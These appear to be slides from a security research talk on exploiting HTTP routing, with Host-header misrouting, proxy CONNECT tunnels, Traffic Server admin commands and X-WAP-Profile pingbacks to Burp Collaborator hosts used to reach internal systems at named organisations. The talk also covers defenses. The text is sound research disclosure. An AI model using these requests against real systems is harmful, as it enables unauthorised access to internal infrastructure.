CRACKING THE LENS

EXPLOITING HTTP’S HIDDEN ATTACK-SURFACE

James Kettle
An Unexpected Pingback – cloud.mail.ru/imgur.com

Pingback from bn-proxy1a.ealing.ukcore.bt.net
cloud.mail.ru:80 (HTTP)

258 bytes | 52 millis
cloud.mail.ru:443 (HTTPS)

predator.alien.bt.co.uk
user@Attack-linux:~$ curl -vv --insecure --proxy secret.ly:8082 https://127.0.0.1:8082/ > local_8082
% Total  % Received % Xferd Average Speed Time Time Time Current
          --  --  --  --  --  --  --  --
     0      0  0      0    0     0    0     0 --:--:-- --:--:-- --:--:-- 0* Trying 216.239.38.21...
* Connected to secret.ly (216.239.38.21) port 80 (#0)
* Establish HTTP proxy tunnel to 127.0.0.1:8082
>
> CONNECT 127.0.0.1:8082 HTTP/1.1
> Host: 127.0.0.1:8082
> User-Agent: curl/7.47.0
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 200 Connection established
>
* Proxy replied OK to CONNECT request
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 692 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* SSL connection using TLSv1.0 / RSA_AES_128_CBC_SHA1
  * server certificate verification SKIPPED
  * server certificate status verification SKIPPED
  * common name: 132.146.196.64 (does not match '127.0.0.1')
  * server certificate expiration date FAILED
  * server certificate activation date OK
  * certificate public key: RSA
  * certificate version: #3
  * subject: C=\,ST=Some-State,0=Blue Coat SG8100 Series,OU=0109114040,CN=132.146.196.64
  * start date: Wed, 05 Sep 2012 02:36:33 GMT
  * expire date: Fri, 05 Sep 2014 02:36:33 GMT
  * issuer: C=\,ST=Some-State,0=Blue Coat SG8100 Series,OU=0109114040,CN=132.146.196.64
  * compression: NULL
* ALPN, server did not agree to a protocol
> GET / HTTP/1.1
> Host: 127.0.0.1:8082
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 401 Authentication Required
< WWW-Authenticate: Basic realm="213.121.193.246"
< Refresh: 0;URL="/Secure/Local/console/logout.htm"
< Server: BlueCoat-Security-Appliance
< Cache-Control: no-store
< Set-Cookie: BCSI_MC=665666015:1; path=/
< Connection: close
< Content-Type: text/plain; charset=utf-8
Outline

• Speculative Attack Pipeline
• Misrouting Requests
• Targeting Auxiliary Systems
• Demo
• Q&A
Speculative Attack Pipeline
Listening

- DNS Listener
  - Burp Collaborator Client
    - Private Collaborator server recommended
  - Roll your own
  - Canarytokens
Inviting Responses

- Burp match/replace
- No correlation
- Collaborator Everywhere
- Masscan
  - No HTTP/1.1 or SSL/TLS
- ZMap/ZGrab
Lazily Assembling an Audience

HackerOne
BugCrowd

Suitable target spreadsheet

Scope Regex
DNS Database
Project Sonar

3 million hosts

50k webservers

ipaddress, hostname

Profit
Maximizing Attack Surface

GET / HTTP/1.1
Host: {host1, host2, host3}
X-Forwarded-Proto: {HTTPS, HTTP}
Cache-Control: no-transform
Max-Forwards: {1, 2, 3}
Misrouting Requests

- REVERSE PROXY
- PUBLIC APP
- INTERNAL APP
GET / HTTP/1.1
Host: id.burpcollaborator.net

Exploited:
• 27 DoD servers
• ats-vm.lorax.bf1.yahoo.com
• My ISP
• Colombian ISP doing DNS poisoning
GET /?qrt=zxcv HTTP/1.1
Host: 74.6.49.129:8082

HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close
Server: ATS

Ok
/?qrt=zxcv HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
HELP / HTTP/1.1
Host: 74.6.49.129:8082

HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Server: ATS

Ok

Traffic Server Overseer Port

commands:
  get <variable-list>
  set <variable-name> = "<value>"
GET http://74.6.49.129:8082/ HTTP/1.1
Content-Length: 30

GET proxy.config.alarm_email

Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
proxy.config.alarm_email = "nobody@yahoo-inc.com"
Ok
Investigating Intent - BT

- All TCP/80 traffic to blacklisted IPs gets proxied
  - Masks all incoming BT traffic
- /0 traceroute (ttl=10)
  - Caches, self-hosted sites, speedtests, and blacklisted IPs

GET / HTTP/1.1
Host: www.icefilms.info

HTTP/1.1 200 OK
...
<p>Access to the websites listed on this page has been blocked pursuant to orders of the high court.</p>

GET http://104.31.17.3/ HTTP/1.1
Host: www.icefilms.info

HTTP/1.1 200 OK
...
<title>IceFilms.info - Quality DivX Movies</title>
Investigating Intent - METROTEL

- vk.com pingback from 200.89.96.13
- DNS poisoning image hosts, social networks and bbc.co.uk
- Which articles?
  - Perspectives/Convergence
  - Backslash Powered Diffing, ETag

"healthy internet"
Input Mangling

GET / HTTP/1.1
Host: vcap.me

GET /vcap.me/vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net

GET / HTTP/1.1
Host: ../?x=.vcap.me

GET /vcap.me/../?x=.vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net

+ 5,000
$25,000
Absolute URLs

GET http://blah/ HTTP/1.1
Host: one.mil

If you're looking at this and are not in the military or DoD this won't mean anything to you, nor will you be able to access it….
Ambiguous Exploits - Incapsula

GET / HTTP/1.1
Host: incap-client:80@internal.net

Incapsula: hostname:ignoredPort

Backend: http://user:pass@hostname/
Url backendURL = "http://backend-server/";
String uri = ctx.getRequest().getRawUri();

URI proxyUri = new URIBuilder(uri)
    .setHost(backendURL.getHost())
    .setPort(backendURL.getPort())
    .build();

GET @burpcollab.net/ HTTP/1.1
http://backend-server@burpcollab.net/
GET @burpcollaborator.net/ HTTP/1.1

Service-Gateway-Is-Newrelic-Admin: false

Authorization Management Service | Capabilities | Roles | Grants

Roles

<table>
<thead>
<tr>
<th>Name</th>
<th>Show</th>
<th>Edit</th>
<th>Destroy</th>
</tr>
</thead>
<tbody>
<tr>
<td>admin</td>
<td>Show</td>
<td>Edit</td>
<td>Destroy</td>
</tr>
<tr>
<td>user</td>
<td>Show</td>
<td>Edit</td>
<td>Destroy</td>
</tr>
<tr>
<td>restricted</td>
<td>Show</td>
<td>Edit</td>
<td>Destroy</td>
</tr>
<tr>
<td>owner</td>
<td>Show</td>
<td>Edit</td>
<td>Destroy</td>
</tr>
<tr>
<td>alerts_admin</td>
<td>Show</td>
<td>Edit</td>
<td>Destroy</td>
</tr>
<tr>
<td>alerts_admin</td>
<td>Show</td>
<td>Edit</td>
<td>Destroy</td>
</tr>
</tbody>
</table>

New Role

WELCOME TO MY IT NERNET HOMEPAGE!!

This homepage was generated by BOS & VIND

+8,000
$33,000
GlobaLeaks

GET xyz.burpcollaborator.net:80/ HTTP/1.1
Host: demo.globaleaks.org

XYZ.BurpcoLLABoRaTOReT net. from 89.234.157.254
Xyz.burPColLABorATOR.net. from 62.210.18.16
XYZ.burpColLaBorATOR.net. from 91.224.149.254

SSRF through Tor
Exploiting Auxiliary Systems

[Diagram showing relationships between PUBLIC APP, BACKEND, and ATTACKER APP.]
"The X-Wap-Profile header should contain a URL pointing to an XML document specifying the features of a mobile device"

UAPProf (User agent profile) is an XML document that contains information about the features and capabilities of a mobile device. Very often the URL that points to the UAPProf document of a mobile device can either be found in the x-wap-profile header or the Profile header, but in some cases it is located in other HTTP headers. Some example x-wap-profile headers and Profile headers are provided below:

Nokia 6230i:

"http://nds1.nds.nokia.com/uaprof/66230i200.xml"
GET /?a=f.collab.net&a=f.collab.net HTTP/1.1
Host: www.facebook.com
X-WAP-Profile: http://a.collab.net/wap.xml
Referer: http://b.collab.net/ref
X-Forwarded-For: c.collab.net
True-Client-IP: d.collab.net
X-Real-IP: e.collab.net
Connection: close
Exploiting Remote Clients

- URL & Redirect handling
- Auto-authentication - Responder.py
- Client Heartbleed – pacemaker.py
- TCP/IP fingerprinting – p0f
- SSL ciphers, cert validation
Exploiting Remote Clients

- Pingback inception
  - Spray RCE across LAN
- What if they're rendering?
  - Spray XSS across LAN - Blind Reflected Server-Side XSS (BRSSXSS)
  - XSS /proc/self/environ
- Do they support JavaScript? Or CSS? Do they enforce the SOP? Can I make popups? What about Flash?
# Rendering Engine Hackability Probe

This page attempts to detect what the client supports.

## Basic Tests
- **CSS link?** Yes
- **CSS imports?** Yes
- **Style attributes?** Yes
- **Forms supported?** Yes
- **Images enabled?** Yes
- **Iframes render?** Yes
- **Iframe srcdoc?** Yes
- **Objects render?** Yes
- **Embeds render?** Yes
- **ActiveX** No
- **Flash** No
- **PDF** No
- **Java** No

## JavaScript Tests
- **Plugin difference: none** No
- **PhantomJS not detected** No
- **SVG is supported** Yes
- **ESS is supported** Yes
- **ES6 is supported** Yes
- **Is Iframed** Yes
- **Page is not iframed sandboxed** No
- **Popups are not allowed** No
- **XHR security not bypassed** No
- **SOP not bypassed** No

```javascript
JavaScript environment difference: core, __core-js_shared__, System...
```
Pre-emptive Caching

GET / HTTP/1.1
Host: burpcollaborator.net

GET /jquery.js HTTP/1.1
GET /wildcat.jpg HTTP/1.1

• Load <history of blimps>
• Note GET /blimps/F-1.png HTTP/1.1
• Scanning response for resource imports

Escalating XSS to SSRF

Diagram showing a reverse proxy and connections between external and internal applications.
Escalating XSS to SSRF

ATTACKER

PROXY

POST /XSS.cgi

<img src="http://internal/index.php/a.jpg">

PUBLIC APP

GET /index.php/a.jpg

INTERNAL

Sensitive content

GET /index.php/a.jpg
Host: internal

Sensitive content
DEMO
Defense

- Reverse proxies are going to proxy
  - Use a DMZ

- Crawlers are employees
  - with antiquated browsers
    - who click everything

- Welcome researchers
  - Have a bug bounty
  - Don't forbid automated testing (with custom tools)
Replicating

```bash
curl -H 'Host: internal' http://example.com/

echo -e 'GET / HTTP/1.1\r\nHost: example.com\r\n'  
  | ncat example.com 80  
  | openssl s_client -ign_eof -connect 7.7.7.7:443

openssl s_client -servername qq.com -ign_eof -connect 7.7.7.7:443

https://github.com/PortSwigger/collaborator-everywhere
https://github.com/PortSwigger/hackability
```
Further Research

- ZGrab+Burp Collaborator integration
- X-WAP-Profile's friends
- Client exploits
- Tools for automated exploitation (especially blind SSRF)
- Untapped attack surface
  - The other layer
Takeaways

Bug bounties enable whitehat research at scale

Load balancers are VPNs for the public

Crawlers are employees who click